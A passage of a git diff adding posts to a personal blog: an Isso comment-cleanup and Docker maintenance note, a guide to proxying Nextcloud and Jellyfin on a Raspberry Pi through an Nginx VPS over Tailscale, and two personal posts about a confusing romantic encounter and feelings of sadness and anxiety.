post's URI as stored by Isso (often just the path) + +# 1) Backup (always do this!) +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" + +# 2) Inspect: find the thread row and preview the comments +sqlite3 "$DB" " +.headers on +.mode column +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +SELECT id, tid, created, author, text +FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%') +ORDER BY created DESC +LIMIT 25; +" + +# 3) Delete all comments for that post (thread) +sqlite3 "$DB" " +DELETE FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'); +" + +# 4) (Optional) Remove the now-empty thread row too +sqlite3 "$DB" " +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +VACUUM; +" + +# 5) Done. Isso usually picks this up automatically. +# If you're containerized and want to be safe: +# docker restart +``` + +--- + +## If running Isso in Docker + +Open a shell in the container, then run the same steps: + +```bash +docker exec -it /bin/sh + +# Inside the container: +DB="/db/comments.db" # or /data/comments.db, check your image/volume mapping +POST_URI="/posts/skin_routine/" + +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +exit + +# Optionally restart the container: +docker restart +``` + +--- + +## Notes & gotchas + +- **Find the real DB path**: In `isso.conf` (often `/etc/isso/isso.conf` or within your container at `/config/isso.conf`), look for: + ```ini + [general] + dbpath = /var/lib/isso/comments.db + ``` +- **What goes in `POST_URI`?** Isso stores a `uri` string per thread. With the default embed config, it's usually the **path** (`/posts//`). If you’re unsure, list recent threads: + ```bash + sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;" + ``` +- **Clearnet vs `.onion`**: If you load the same post under multiple origins _and_ your embed setup stores full origins, you may have **multiple thread rows**. The `LIKE` query above deliberately matches any uri containing your `POST_URI` to catch those. +- **Rollback**: To undo, stop Isso (optional), replace the DB with your backup (`comments.YYYY-MM-DD-HHMMSS.backup.sqlite3`), and start Isso again. +- **HTTP API option**: Isso supports `DELETE /` if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. +- **Safety**: Always run a backup first, and **preview with the SELECT** before you run the DELETE. + +--- + +## One-liners for the impatient + +```bash +DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/" +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +``` + +--- + +**Isso container: quick checks & fixes for future me! (thank past me later ^^)** + +**Find the container** +```bash +docker ps -a --format 'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}' | grep -i isso +``` + +**Inspect basic state** +```bash +docker inspect -f 'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}' isso +``` + +**Logs** +```bash +docker logs --tail=200 isso +docker logs -f isso +``` + +**Ports & reachability** +```bash +docker port isso +sudo ss -ltnp | grep ':8080 ' +curl -i http://127.0.0.1:8080/ +``` + +**Restart policy (keep it running)** +```bash +docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso +docker update --restart unless-stopped isso +``` + +**Start/stop the container** +```bash +docker start isso +docker stop isso +``` + +**Who/what stopped it (events)** +```bash +docker events --since 24h --filter container=isso +``` + +**Common config issue: duplicate options/sections** +If logs show DuplicateOptionError or DuplicateSectionError, fix `/config/isso.cfg` (remove duplicate `[server]` blocks or duplicate `public-endpoint`). + +```bash +nl -ba /config/isso.cfg | sed -n '1,120p' +grep -n '^\[server\]' /config/isso.cfg +grep -n '^public-endpoint' /config/isso.cfg +``` + +**Using Docker Compose** *(run these in the directory with your compose file)* +```bash +docker compose ps +docker compose logs --tail=200 isso +docker compose up -d isso +``` + +**If the container doesn’t exist (create/recreate)** +```bash +docker image ls | grep -i isso + +docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest +``` + +**Optional: exclude from auto-updaters (like Watchtower)** +```bash +docker update --label-add com.centurylinklabs.watchtower.enable=false isso +``` + + +_This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix._ + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/new_features.md.asc b/public-onion/sources/posts/new_features.md.asc new file mode 100644 index 0000000..601b40a --- /dev/null +++ b/public-onion/sources/posts/new_features.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= +=9k+S +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/pi_service_touchup.md b/public-onion/sources/posts/pi_service_touchup.md new file mode 100644 index 0000000..36acf23 --- /dev/null +++ b/public-onion/sources/posts/pi_service_touchup.md @@ -0,0 +1,418 @@ +--- +title: "Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin" +date: 2026-02-02 +tags: ["homelab","nginx","docker","nextcloud","jellyfin","cloudflare","tailscale","security","raspberrypi"] +description: "Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable." +draft: false +--- + +> I didn’t “move Nextcloud to the cloud”. +> I moved the **front door** to a VPS… and kept the house on my Raspberry Pi. 😄 + +This post documents the setup I ended up with: + +- A public **VPS** (host: `funbox`) running **Nginx** + **Let’s Encrypt** +- A private **Raspberry Pi** (host: `iot-hub`) running Docker services (**Nextcloud**, **Jellyfin**, …) +- A private backhaul using **Tailscale** (the `100.x.y.z` network) +- A correct Nextcloud reverse-proxy configuration (**trusted_domains**, **trusted_proxies**, and overwrite values) +- A pragmatic security layer for media: **Basic Auth at Nginx for Jellyfin** + (in addition to Jellyfin’s own login) + +I’m writing this as a “future me” note and a “copy-paste friendly” guide. + +--- + +## 0) Topology + +The request path looks like: + +``` +Browser + ↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) + ↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt + ↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … +``` + +Why I like it: + +- The Pi can sit behind home router / CGNAT and still be reachable. +- TLS, redirects, headers, auth, rate limits… all centralized on the VPS. +- Internal IPs can change without breaking public URLs. + +--- + +## 1) What’s running on the Pi? + +On `iot-hub` the “interesting” containers are: + +- `nextcloud` (Apache variant) +- `nextcloud-db` (Postgres) +- `nextcloud-redis` +- `jellyfin` + +Example `docker ps` style output (yours may vary): + +``` +nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp +``` + +So on the Pi, the services listen on: +- `http://:8080` for Nextcloud +- `http://:8096` for Jellyfin + +But in my setup, **the VPS does not reach those via LAN** — it reaches them via Tailscale IPs. + +--- + +## 2) Tailscale: the private wire between VPS and Pi + +Tailscale assigns each node an address like `100.xx.yy.zz`. + +In my config, Nginx on `funbox` points to the Pi via Tailscale: + +- Nextcloud upstream: `http://100.104.127.96:8080` +- Jellyfin upstream: `http://100.104.127.96:8096` + +(Use the Tailscale IP of your Pi.) + +Quick sanity checks from the VPS: + +```bash +# from funbox, make sure you can reach the Pi service: +curl -I http://100.104.127.96:8080 +curl -I http://100.104.127.96:8096 +``` + +If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online). + +--- + +## 3) Nginx on the VPS: reverse proxy blocks + +### 3.1 Nextcloud vhost (VPS → Pi via Tailscale) + +Create (or edit): + +`/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir` + +and symlink into `sites-enabled`. + +Here is a complete working example: + +```nginx +# Redirect HTTP → HTTPS +server { + listen 80; + listen [::]:80; + server_name nextcloud.alipourimjourneys.ir; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name nextcloud.alipourimjourneys.ir; + + # Certbot-managed certs + ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + # Big uploads (tune to taste) + client_max_body_size 2G; + + # CalDAV/CardDAV redirects + location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } + location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } + + location / { + proxy_pass http://100.104.127.96:8080; + + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Sometimes helps apps behind multiple proxies + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Port $server_port; + + # Nextcloud + WebDAV can do long requests + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + # Usually good for DAV/uploads + proxy_buffering off; + proxy_request_buffering off; + } +} +``` + +Then test + reload: + +```bash +sudo nginx -t +sudo systemctl reload nginx +``` + +### 3.2 Jellyfin vhost (with Basic Auth) + +Create: + +`/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir` + +Example: + +```nginx +server { + listen 80; + listen [::]:80; + server_name jellyfin.alipourimjourneys.ir; + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name jellyfin.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + client_max_body_size 512M; + + # ✅ Basic Auth gate (extra layer before Jellyfin) + auth_basic "Jellyfin (private)"; + auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; + + location / { + proxy_pass http://100.104.127.96:8096; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Jellyfin uses websockets + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + proxy_buffering off; + } +} +``` + +Enable: + +```bash +sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t +sudo systemctl reload nginx +``` + +--- + +## 4) Creating the Basic Auth password file + +Install tools (Debian/Ubuntu): + +```bash +sudo apt-get update +sudo apt-get install -y apache2-utils +``` + +Create the password file: + +```bash +sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername +``` + +(If adding more users later, omit `-c`.) + +Lock it down: + +```bash +sudo chown root:root /etc/nginx/.htpasswd-jellyfin +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin +``` + +### Notes on clients +- Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. +- Some TV apps can be quirky. If a client can’t handle it, you can: + - remove Basic Auth, or + - keep it only on selected paths, or + - use Cloudflare Access in front of Jellyfin instead (more work). + +--- + +## 5) Nextcloud: configure it to behave behind the reverse proxy + +Nextcloud needs to know: +- what hostnames are valid, +- which proxy is trusted, +- and what the “outside” URL scheme is. + +You can do it via `occ` inside the container (Apache image uses `www-data`). + +### 5.1 trusted_domains + +Check current values: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains +``` + +Add your public domain: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir" +``` + +(Keep your internal name too if you still use it, e.g. `rpi:8080`.) + +### 5.2 trusted_proxies + +Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP. + +Example: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75" +``` + +(Use the **VPS’s Tailscale IP** as seen from the Pi.) + +### 5.3 overwritehost / overwriteprotocol / overwrite.cli.url + +Tell Nextcloud “the world sees me as https://nextcloud.example”: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir" +``` + +### 5.4 forwarded_for_headers (optional, but often helpful) + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR" +``` + +Restart Nextcloud container after config: + +```bash +docker restart nextcloud +``` + +--- + +## 6) Sanity checks (curl is your friend) + +From anywhere public: + +```bash +curl -I http://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav +``` + +Expected “good signs”: + +- HTTP returns **301** to HTTPS +- HTTPS returns **302** to `/login` (or 200 if already authenticated) +- `/.well-known/caldav` returns **301** to `/remote.php/dav/` + +If you see redirect loops or wrong hostnames: +- revisit `overwritehost`, `overwriteprotocol`, `trusted_proxies`. + +--- + +## 7) “Do I really need Cloudflare Access / WARP?” + +### The honest answer +If your setup is: +- HTTPS only +- strong passwords + MFA in Nextcloud/Jellyfin +- your origin isn’t directly exposed (only the VPS is public) +- you keep things patched + +…then you’re already in a **reasonable** place. + +### “Can I skip Cloudflare Access?” +Yes. In this topology, Cloudflare Access is optional. The main security boundary is: + +- **Public:** VPS + Nginx +- **Private:** Pi over Tailscale + +For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”. + +--- + +## 8) Cloudflare Access: One-time PIN not arriving + passkeys + +Two common gotchas: + +### 8.1 One-time PIN email didn’t arrive +That flow relies on email delivery. Check: +- spam/junk folder +- if your provider blocked it +- the exact email allowlist in your policy + +If it’s flaky, I’d avoid One-time PIN and use a real identity provider. + +### 8.2 Can I use passkeys / Apple / Google? +Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach: +- pick what your family already uses (Google or Apple), +- configure that as the login method, +- avoid WARP enrollment unless you specifically want device-based access. + +--- + +## 9) Hardening checklist (tiny but effective) + +On the VPS: +- Keep Ubuntu security updates on +- firewall: allow only what you need (22/80/443) +- optional: `fail2ban` for SSH + +On the Pi: +- keep Docker images updated +- Postgres/Redis not exposed publicly (Docker internal network) +- backups: Nextcloud data + DB + +--- + +## 10) TL;DR + +- VPS Nginx terminates TLS, proxies to Pi over Tailscale +- Nextcloud must be told about: + - `trusted_domains` + - `trusted_proxies` + - overwrite values (`overwritehost`, `overwriteprotocol`, `overwrite.cli.url`) +- `curl -I` should show sane redirects + `/remote.php/dav/` +- Jellyfin gets an extra gate with **Nginx Basic Auth** + +Boring is good. Boring runs for months. + +--- + + + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/pi_service_touchup.md.asc b/public-onion/sources/posts/pi_service_touchup.md.asc new file mode 100644 index 0000000..c69df23 --- /dev/null +++ b/public-onion/sources/posts/pi_service_touchup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU= +=2UUg +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/relationships.md b/public-onion/sources/posts/relationships.md new file mode 100644 index 0000000..d5cc424 --- /dev/null +++ b/public-onion/sources/posts/relationships.md @@ -0,0 +1,166 @@ ++++ +title = 'Relationships' +date = 2025-10-05T08:03:31Z +description= "My experience so far with relationships" +draft = false ++++ + +> Notice: You'll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. + +So... do you also think you're a lover boy, kind, nice person? +So do I! +I think I'm actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. + +My problem is when things are to become more serious! +Like, you know... connecting at a more emotional level. +A "relationship". +I'm really bad at those. +In fact, I haven't ever been in one! +Now let's be honest, I'm not your typical jacked, handsome boy, but I think I'm somewhere around the average if not higher a bit? +Well, at least I hope so! :D + +I actually haven't even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like... yea dude... it was a date buddy. +Why do I say it wasn't a date? +Well, because I was told so yesterday by her. +That if it's a date, you're supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn't even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things! +We even found our "favorite shops" in the city together! +It was weird! I'm so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time. + +But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon "hopefully". +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that "the slots won't be filled". +It was weird, as if she was telling me I'm going to be taken if you don't do anything...? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I've been friendzoning her. +That I'm not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the "ways", she said "I don't play games and I also advise you not to get together with people that do so". +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I'm doing is normal and things are going well. +But I guess I was wrong? + +I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn't go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn't even know she was joining them or not. +It's kinda weird, but the plans were made in a group she was not inside of. +Anyway. + +October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let's go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn't just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn't know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that's how you can know if you like someone or not. If it's two way ofc. +I asked her what is this "click"? +She said "you know when you know, and if you think you don't know then there isn't one". +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it... +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date "early", as time is of essence. +Again, I was confused. +I was lost. +We've been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that's just how I felt in my mind? +Maybe things in my brain are just different? +I don't know. + +My sister in law told me that she probably had a crush on me and that I didn't reciprocate her feelings perhaps? +That I'm friendzoning her by not touching her back or asking her out on a "date". +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date. + +She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, "we were so different from eachother at a much deeper level". +That her "life experiecnes" are just different, "and so on". +She did actually say "and so on". + +You know what it reminds me of? +Of when your paper gets rejected by saying "lacks novelty". xD + +Another extremely funny thing is that she said we're so different at a much deeper level, but she doesn't even know me. +What was meant at a deeper level? +I'm confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don't even know me? I'm so so incredibly confused. +I guess it could be the looks, and the "vibes"? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won't pursue her I guess? +Idk. + +I want to also come back to this point she made that she is "starting a new relationship". +She told me in the same conversation that someone asked her out (which she technically didn't even say this, but it could be induced), and that going on a date "does not mean you're in a relationship, that you want to know eachother". +Her saying that "I said I'm starting a new relationship" hurt me, not because she is doing that, because she didn't technically tell me that. +She then said "I always tell people this to avoid confusion". +I definitly didn't miss it if she did. She didn't, but whatever. It's fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me... +Did I miss it? +She didn't. Just trust me on this one. ;) + +I'm just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don't blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an "undefined state" of a relationship, and that she wants to keep it "friendly" in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn't even show interest about being friends, which is again totally fine. +But I'm just so baffeled by all of this. + +So... yea. This last "thing", whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I've been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can't just say the good stuff though. She was definitly a bit self-centered. It's funny how she told me that "people say I'm so proud in a negative way, but anyone who talks with me knows I'm not like that". Which is true, she wasn't proud, the correct term is self-centered, or "narcissistic" if you will, which I don't neceserrialy think is bad, but it is definitly an orange/yellow flag. + +One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I'm hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don't know. + +Well. I don't know what's gonna happen next, but I'm going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won't be alone? Who knows? haha. + +> P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I'm worth more than that. :) In my therapy session I remembered that in each of these so called "not dates" we had a conversation about "her", and she was dumping her emotional baggage on me, just like what happened this last time that confused me. + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/relationships.md.asc b/public-onion/sources/posts/relationships.md.asc new file mode 100644 index 0000000..e495968 --- /dev/null +++ b/public-onion/sources/posts/relationships.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8 +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+ +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= +=lM4c +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/sadness.md b/public-onion/sources/posts/sadness.md new file mode 100644 index 0000000..6b57ec2 --- /dev/null +++ b/public-onion/sources/posts/sadness.md @@ -0,0 +1,105 @@ ++++ +title = 'Sadness' +date = 2025-10-24T12:48:31Z +draft = false ++++ + +Honestly, I don't know why I'm doing any of this. I really don't. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let's say abused if you will, and then thrown away. +Just like a piece of trash. +It's been hurting more and more. +I've been lying to myself that I don't care. +That I've moved on. + +I've been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough. + +It's enough grieving though. +But is it? +I tell myself I have moved on. +I'm not chasing. +I'm really not. + +I do know that this was indeed the best that could've happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn't want to move on. +I told myself that I will meet new people, and forget. +But then aren't I changing the problem? + +The problem isn't what is on the surface. +It's something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter. + +Like if I tell a group of friends that I won't go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I'm not invited. +That if someone doesn't reply to me, they hate me. +Or that if someone passes me and doesn't look at me or say a word, they don't want to see me, or don't want me around them. + +I don't know how to stop these. +I started to do more home office for this very reason, but I wasn't that productive. +I think my time, and life, is going to waste, and I don't know how to stop it. +It's getting annoying. + +Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I'm far along I feel the extra stress I was neglecting. +Things just don't feel right. +I think I'm becoming depressed again. + +Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. 